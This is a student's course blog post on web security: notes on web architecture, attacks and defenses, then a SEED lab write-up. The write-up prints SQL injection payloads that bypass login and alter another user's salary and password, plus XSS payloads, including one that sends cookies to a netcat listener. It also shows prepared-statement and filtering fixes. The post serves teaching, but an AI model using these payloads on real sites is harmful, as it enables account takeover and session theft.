20199329 2019-2020-2 《网络攻防实践》第十一周作业

《网络攻防实践》第十一周作业


一、前言


二、知识点总结

1.web应用体系结构及其安全威胁

1.1 web应用体系结构

Web应用程序(Web Application) 是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如Java Applet),依赖于浏览器来对应用程序进行渲染与执行。

浏览器(Browser)
标准的Web客户端就是我们所熟知的浏览器,如IE、Firefox、Chrome等,它们都使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互,获取Web服务器上的信息和应用服务。

Web服务器(Web Server)
Web服务器软件通常被简单地描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web 服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。

Web应用程序(Web Application)
现代Web应用的核心是处于服务器端的业务逻辑,即Web应用程序,虽然嵌入在浏览器中执行的客户端逻辑(如JavaScript代码、Flash/Java 等对象)也逐渐地变得更加普遍和重要。早期静态Web应用程序只有一层,提供用于客户端浏览器显示的页面,随着Web应用技术的发展,Web应用程序的功能越来越复杂与多样化,并出现了分层的概念。这种多层(n-tiers) 的体系结构扩展了原本相当简单的结构,并把它变成了一个动态引擎,与用户进行实时的交互。

数据库(Database)
数据库有时也被称为“后台”,是Web应用存储数据的地方,数据层也作为Web应用程序多级结构中的最后一层。在Web应用中流行的数据库管理软件包括微软的MS SQLServer.Oracle和开源的MySQL等,这些数据库管理系统支持统一的数据库查询语言SQL。Web应用程序的业务逻辑层通过一系列的数据连接器连接至后台数据库关系系统,对数据库进行查询、操作和更新,常用数据连接器包括ODBC (开放数据库连接)、OLEDB (对象链接与嵌入数据库)、JDBC (Java 数据库连接)等。

传输协议HTTP/HTTPS
浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议是HTTP/HTTPS协议。超文本传输协议(HyperText Transfer Protocol, HTTP) 默认使用TCP 80端口,HTTP是相对比较简单、无状态的、基于ASCII码的协议,其定义在IETF的标准化文档RFC 2616 (HTTP 1.1)和RFC 1945 (HTTP 1.0)中,HTTP 协议使用统一资 源标识符( Uniform Resource Identifiers, URI),对范围从静态文本页面到动态视频流的各种资源进行统一定义,然后采用一种简单的请求/响应模式,来请求一项资源,如果资源存在且可用,服务器就向Web客户端响应这项资源。无状态、ASCII 码明文传输、运行于众所周知的默认TCP端口等特点造就了HTTP协议的简单和流行,同时也导致其易受各种网络攻击。

2.web应用安全攻防技术概述

与系统和网络攻击类似,针对Web应用的攻击也需要首先进行信息情报的收集,对目标Web应用服务进行发现与剖析,标识出它的基本轮廓,具体包括服务器域名、IP地址和虚拟IP地址,Web服务器端口与其他开放服务,Web站点类型和版本,Web应用程序类型与版本,以及Web服务器和Web应用程序中存在的安全漏洞信息等。

2.1 实施Web应用服务基本轮廓信息收集的基础技术

通过互联网踩点中的WHOIS与DNS查询、使用Web搜索引擎、以及对默认的TCP80和443端口进行端口扫描来发现目标组织的Web服务器
使用类型探查技术来识别Web站点的操作系统类型与版本、及Web服务器软件的类型与版本
使用漏洞打1描技术来枚举出Web站点系统和服务器软件中存在的已知安全漏洞
使用查点技术来攫取Web服务器软件的“旗标”
针对Web应用程序的探测和漏洞发现

  • 手工审查web应用程序结构与源代码
  • 自动下载与镜像web站点页面
  • 使用Google hacking技术审查与探测web应用程序
  • web应用程序安全评估与漏洞检测

2.2 攻击web服务器软件

  • 数据驱动的远程代码执行安全漏洞
  • 服务器功能扩展模块漏洞
  • 样本文件安全漏洞
  • 源代码泄露
  • 资源解析攻击

2.3 攻击web应用程序

针对认证机制的攻击:
针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;

授权机制的攻击:
针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;

客户端攻击:
扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等;

命令执行攻击:
在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI (Server-Side Include)注入等;

信息暴露:
获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等;

逻辑攻击:
扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。

2.4 攻击web数据内容

  • 安全敏感数据泄露
  • 网站篡改
  • 不良信息内容上传

3.web应用安全防范措施

3.1 Web站点网络传输安全设防措施

尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护。
通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP 等安全协议。
对关键的Web服务器,设置静态绑定MAC-IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗余等机制来应对拒绝服务攻击。

3.2 Web站点网络传输安全设防措施

对Web站点的操作系统与服务器软件进行及时的补丁更新
对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描,在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞。
采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问:配置数据备份服务,必要时设置冗余和双机热备机制。

3.3 Web应用程序安全设防措施

应该认识到采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险,因此在设计与开发Web应用时,应谨慎考虑是否采用动态页面技术、是否支持客户端执行代码、是否允许接受用户输入,信息发布类网站往往无须引入动态页面和用户交互,而且可以通过后台系统来产生信息发布静态页面的方式(这种Web站点构建方式也被新浪、搜狐等门户网站所采纳)来兼顾安全性、访问性能与便捷性。
对于必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包,如活跃的开源和共享软件,规范运作、注重安全的商业软件公司解决方案等,并定期进行Web应用程序的安全评估与漏洞扫描检测,对Web应用程序应跟进版本更新和安全补]发布情况,进行升级与安全漏洞修补。
只在必要时候自主或外包开发Web应用程序,在开发和部署过程中需重视安全编程、持续性的安全测试与维护,安全编程与测试的检查点有:独立、完整且集中的输入校正,校验全部的程序输入、校验输入长度与类型;对HTTP所有内容进行校验,校验向用户输出的数据,使用安全的SQL查询方式,禁止使用JavaScript进行任何校验;使用安全统一的编码或转义方式:设定有安全的权限边界:校验被调用的后台命令、校验被调用的文本或配置文件、确保程序所记录的日志可控。
使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计。

3.4 Web站点网络传输安全设防措施

提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点上,同时也不应在网上公开团队/个人承担涉密项目工作,从而避免引来针对性的社会工程学与渗透攻击:培养注重个人隐私的良好习惯,在网上公开的数据中尽可能地避免泄露个人隐私;对于允许用户提交数据的网站,需重视用户提交数据的合法性审查。
对维护网站的数据安全实施日常监测和防护:提升Web站点的安全性,避免网站被攻击之后的信息泄露、网站内容篡改与不良信息上传:掌握并善用Google搜索引擎技巧,定期检查自己维护网站和域名内的敏感数据是否被Google检索;对网站的安全配置进行检查,尽量消除目录遍历、文件枚举以及随意上传等渠道:对接受用户交互的网站列出清单,安排日常数据安全审核与检查机制。

三、实验内容

任务一

SEED SQL注入实验
1.启动Apache Server,运行命令sudo service apache2 start;查看phpBB2的源码,其路径为/var/www/SQLInjection/

熟悉SQL语句

1.使用指令mysql -u root -pseedubuntu登陆MySql数据库,-u指定用户名,-p指定密码。
2.使用指令use Users;,show tables;查看该数据库下面的表。

3.使用指令select * from credential;来打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。

SELECT语句的攻击

1.访问虚拟机内的URLwww.SEEDLabSQLInjection.com,进入SEED Lab系统会要求你登陆。这个登录由/var/www/SQLInjection/unsafe_home.php实现,需要输入用户名和密码来认证:

2.通过输入的name和password与数据库中USERS_TABLE表中的数据进行匹配,匹配成功则会返回如id,eid,salary等数据。通过第一步得知管理员的账户名是admin,在不知道密码的情况下实行SQL注入攻击进入Web应用。只需要在用户名输入特定的语句,导致不进行password的校验就可以跳过验证。

3.接下来利用命令行完成管理员的登录,这里需要用到cURL工具,这是一个利用URL语法在命令行下工作的文件传输工具。使用指令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'就可以成功登录系统。通过返回的HTML代码,可以看出信息和我们上面看到的信息相同,证明我们的攻击时成功的。

4.试图修改数据库,追加一个delete或者update语句,但是没有成功,这是因为MySql中的对策阻止了从php调用多个语句的执行。

UPDATE语句的SQL注入攻击

1.用前面的方法登录Alice的账号,进去之后可以看到Alice的相关信息,记住EID要用的。然后进行edit profile修改信息。

2.修改其他人的工资。在Alice修改的界面的nickname输入', salary='1' where name='Boby';#,再进入Boby的界面,我们发现工资已经成功修改。

3.修改其他用户的密码。获取一个指定密码的sha1值。使用指令echo -n '123456'|sha1sum输出密码123456的sha1值为7c4a8d09ca3762af61e59520943dc26494f8941b。

4.还是用Alice的账户登录,在edit profile那里修改用户名,填上以下指令进行sha1值的修改', Password='7c4a8d09ca3762af61e59520943dc26494f8941b' where Name='Boby';#。

SQL对抗

1.原来的代码数据库查询代码如下,在unsafe_home.php中。这部分的主要含义就是进行了数据库的查询,然后转为了json格式,这里的SELECT语句代码和数据放在一起,所以容易遭受攻击。

     $sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";
      if (!$result = $conn->query($sql)) {
        echo "</div>";
        echo "</nav>";
        echo "<div class='container text-center'>";
        die('There was an error running the query [' . $conn->error . ']\n');
        echo "</div>";
      }
      /* convert the select return result into array type */
      $return_arr = array();
      while($row = $result->fetch_assoc()){
        array_push($return_arr,$row);
      }

      /* convert the array type to json format and read out*/
      $json_str = json_encode($return_arr);
      $json_a = json_decode($json_str,true);
      $id = $json_a[0]['id'];
      $name = $json_a[0]['name'];
      $eid = $json_a[0]['eid'];
      $salary = $json_a[0]['salary'];
      $birth = $json_a[0]['birth'];
      $ssn = $json_a[0]['ssn'];
      $phoneNumber = $json_a[0]['phoneNumber'];
      $address = $json_a[0]['address'];
      $email = $json_a[0]['email'];
      $pwd = $json_a[0]['Password'];
      $nickname = $json_a[0]['nickname'];

2.修改代码首先绑定了用户名和hash之后的密码。再进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。这个时候我们继续用之前的方式进行登录,发现已经提示账号不存在,同理,现在已经能够防止对SELECT语句的SQL注入攻击。

3.update语句代码在unsafe_edit_backend.php中,我们修改代码对输入参数进行绑定。我们和之前一样输入相同的代码发现,刚才的语句被作为NickName显示出来了,因此防御成功。

任务二

SEED XSS跨站脚本攻击实验(Elgg)

发布恶意消息,显示警报窗口

1.首先登录alice的账户,用户名为alice,密码为seedalice。添加<script>alert('XSS');</script>代码至个人资料并保存。此时会出现XSS弹窗。

2.登录Boby账户,查看Alice的profile,出现XSS弹窗。攻击成功。主要原因是因为没有对字段进行安全检查和过滤,便直接插入数据表。

弹窗显示cookie信息

1.和上面实验差不多,将插入的js代码改成<script> alert(document.cookie);</script>即可,用Boby查看Alice的profile,得到了cookie信息。

窃取受害者的cookies

1.使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。即使用命令<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>

2.使用nc进行监听5555端口,使用指令nc -l 5555 -v,-l指定端口,-v显示详细信息。此时再用boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息。

成为受害者的朋友

1.通过HTTP Header Live分析添加好友时传递的一些信息:

2.构造一个javascript程序,把这段程序放在alice的About me中,因为原来的brief限制长度。这段代码首先是获取elgg_ts和elgg_token,然后构造一个URL访问,44是alice号。

3.接下来用boby访问alice的主页,boby就会自动加alice为好友。

修改受害者的信息

1.通过HTTP Header Live分析添加好友时传递的一些信息,可以看到用户在修改自己的profile时发送的http请求的具体格式。通过这个方式构造和上面相近的js程序。

2.将构造后的代码放在Alice的about me中,然后用boby访问Alice的profile,即可成功修改boby的profile。如下图所示。

编写XSS蠕虫

1.首先明确代码的目的:让这段代码能够复制到其他用户那里。我们将下面的代码放在Alice的about me中。

2.我们通过boby访问Alice的profile发现这段代码已经被成功的复制,说明我们的目标达到,利用DOM API成功的进行了蠕虫的复制。

对抗XSS攻击

1.我们使用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed启动,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

2.下面我们查看Alice的profile,这个时候XSS攻击已经没有效果了,Alice中的代码被显示出来了。


四、学习中遇到的问题及解决

  • 对Web的js、php不熟悉。只能按照同学博客一步步走着看。
  • js语言不够熟练。上网多查查一些资料稍微明白点语法。

五、学习感想和体会

本章主要学习了sql注入和xss攻击,主要用到了许多js编程,自己对于js没有过接触,还需要进一步学习,巩固消化吸收。


2020 年 5月 13日

posted @ 2020-05-13 19:08  朱星帆20199329  阅读(277)  评论(0编辑  收藏  举报